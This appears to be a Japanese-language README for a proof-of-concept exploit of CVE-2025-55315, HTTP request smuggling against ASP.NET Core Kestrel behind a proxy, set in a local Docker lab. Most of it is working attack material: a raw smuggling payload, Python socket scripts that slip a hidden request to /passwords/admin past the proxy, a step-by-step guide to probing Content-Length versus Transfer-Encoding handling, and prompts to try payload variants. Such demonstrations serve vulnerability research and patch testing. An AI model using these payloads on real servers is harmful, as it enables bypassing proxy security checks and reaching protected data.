
CVE-2025-55315(.NET HTTPリクエストスマグリング)の概念実証エクスプロイト。不当に解析されたチャンクエンコーディングにより、攻撃者が脆弱なASP.NET Core/Kestrelサーバーでプロキシやロードバランサーを経由してリクエストをスマグリングする方法を示します。
CVE-2025-55315 の概念実証エクスプロイト (.NET HTTP リクエストスマグリング)。不適切に解析されたチャンクエンコーディングにより、攻撃者が脆弱な ASP.NET Core/Kestrel サーバー上のプロキシやロードバランサーを通過してリクエストを密輸する方法を示します。
🎥 上のバッジをクリックして、Prezi での完全なインタラクティブプレゼンテーションを表示
Dockerfile.vulnerable - .NET 10.0.100-rc.1 を使用 (CVE-2025-55315 に対して脆弱)Dockerfile.patched - .NET 10.0.100 を使用 (パッチ適用版)注: 脆弱性はアプリケーションコードではなく、.NET ランタイムの HTTP パーサー (Kestrel) にあります。両バージョンは同一のソースコードを使用していますが、.NET ランタイムバージョンが異なります。
# Build and run all services
docker-compose up --build
# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028
詳細な Docker 使用手順については DOCKER.md を参照してください。
Python プロキシは、Transfer-Encoding よりも Content-Length を優先することで CVE-2025-55315 を実証し、HTTP リクエストスマグリングを可能にします:
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"2;\n"
"xx\r\n"
"39\r\n"
"0\r\n"
"\r\n"
"GET /passwords/admin HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
import socket
import time
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5027))
s.sendall(payload.encode())
# Read all available data
s.settimeout(2.0)
responses = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
responses += chunk
except socket.timeout:
pass
print("=== Complete Response ===")
print(responses.decode('utf-8', errors='ignore'))
print("\n=== Checking for smuggled request response ===")
if b'/passwords/admin' in responses or b'admin' in responses:
print("✓ Successfully smuggled request to /passwords/admin!")
else:
print("✗ Exploit failed or blocked")
このペイロードは、プロキシとバックエンドサーバーがリクエストを解析する方法の不一致を利用して、プロキシのセキュリティチェックを通過して /passwords/admin への 2 番目のリクエストを密輸します。
以下は、プロキシとバックエンドサーバーが同じペイロードを異なる方法で解釈する様子を示しています:
主な違い:
詳細な説明:
2;\n を有効なチャンクサイズ宣言 (2 バイト) として受け入れる → xx を 2 バイトのチャンク本体として読み取る → 次のチャンク (39) に進む\n を行末として拒否する → チャンクサイズは 2 のままだが、ヘッダーは 2;\nxx\r\n まで拡張される → 39 がチャンク本体の一部として読み取られる → 0\r\n でチャンクが終了するGET /passwords/admin リクエストは、バックエンドがチャンクデータとして扱うものに隠されるが、チャンク処理完了後に別のリクエストとして解析される密輸された GET /passwords/admin リクエストは、プロキシがチャンク本体データと見なすものに隠されていますが、バックエンドはそれを別の HTTP リクエストとして解析します。
エクスプロイトを行う前に、異なるコンポーネントがどの HTTP ヘッダー (Content-Length または Transfer-Encoding) を優先するかを特定する必要があります。以下にステップバイステップのガイドを示します:
両方の Content-Length および Transfer-Encoding: chunked ヘッダーを含むリクエストを送信して、各コンポーネントがどちらを尊重するかを確認します:
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
分析:
Content-Length を優先Transfer-Encoding を優先アーキテクチャ内のすべてのコンポーネントをテストして、不一致を見つけます:
# Using Python
import socket
test_payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Length: 2\r\n"
"\r\n"
"6\r\n"
"Fabian\r\n"
"0\r\n"
"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5001))
s.sendall(test_payload.encode())
s.settimeout(1.0)
try:
response = s.recv(4096)
print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
except socket.timeout:
pass
# Change port to 5002 and test
# Safe API should handle the conflict properly
# Change port to 5027
# Python proxy favors Content-Length (vulnerable)
# Change port to 5028
# Test how YARP handles the header conflict
/passwords への通常の POST リクエストをキャプチャするTransfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
特定できたら:
Content-Length を優先 (N バイトのみ読み取り)Transfer-Encoding を優先 (チャンク本体を読み取り)プロキシが見ずにバックエンドが処理する 2 番目のリクエストを密輸できます。
完全なエクスプロイトペイロードを実行し (上記の「エクスプロイトのデモンストレーション」セクションを参照)、以下を確認:
socket: 精密な HTTP フォーマットのための低レベル制御--data-binary: 迅速なコマンドラインテストエクスプロイトは複数の方法で作成できます。さまざまなアプローチを試してみてください:
# Add Content-Length to make the desync explicit
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Content-Length: 75\r\n"
"Transfer-Encoding: chunked\r\n"
# ... rest of payload
)
\n を有効な行末として受け入れる → 2;\n をチャンクサイズとして扱う → 2 バイト (xx) 読み取り\n を拒否 → チャンクヘッダーが 2;\nxx\r\n まで拡張 → 39 がチャンク本体になる → 0\r\n でチャンク終了PythonProxy/proxy_server.py を変更して、異なるデシンクシナリオを試してください:
\n vs \r\n など)以下を試す:
|
プロキシ解釈 ( |
バックエンド解釈 ( |
| コンポーネント | チャンクサイズ 2;\n | 読み取りバイト数 | 動作 |
|---|
| プロキシ | ✅ 有効なチャンクサイズ | 2 バイト (xx) | 2;\n を完全なチャンクヘッダーとして扱い、2 バイト読み取り、次のチャンクに進む |
| バックエンド | ❌ 無効な行末 | 依然として 2 バイトチャンクとして読み取る | チャンクヘッダーは xx\r\n まで終了しないため、39 がチャンク本体になり、0 でチャンクが終了する |